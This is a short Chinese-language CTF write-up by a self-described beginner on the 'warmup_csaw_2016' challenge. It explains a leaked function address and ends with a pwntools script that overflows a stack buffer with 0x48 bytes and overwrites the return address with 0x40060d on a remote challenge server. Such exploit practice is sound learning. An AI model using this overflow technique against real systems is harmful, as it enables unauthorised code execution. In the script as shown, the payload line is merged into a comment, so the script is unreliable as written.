小白垃圾做题笔记而已,不建议阅读。
唉,本来以为是让写shellcode的打了半天没打通,后来发现疏忽了sub_40060D函数。
前两行(6,7)没啥就是把那个字符串写到屏幕上。
然后是第八行,
sprintf():
这个函数用于将格式化的字符串写入到缓冲区。
第一个参数是目标缓冲区的地址,第二个参数是格式化字符串。后边是需要格式化的参数。
那么sprintf(s, "%p\n", sub_40060D);
就是将后边函数的地址以16进制形式写入到s中。
后来他又把写入的地址打印到屏幕上了。然后让我们输入。
那sub_40060D是干什么呢?
看到这个函数内容后我豁然开朗。(小白欢呼)
那不就是把返回地址覆盖成这个地址吗?
画一下栈的结构吧:
上边是低地址,下边是高地址。字比较丑凑活看。
干活:
from pwn import *
#p=process('./warmup_csaw_2016')
p=remote("node4.buuoj.cn",29279)
#pause()payload='a'*0x48+p64(0x40060d)
p.recvuntil("WOW:0x40060d\n")
p.sendline(payload)
p.interactive()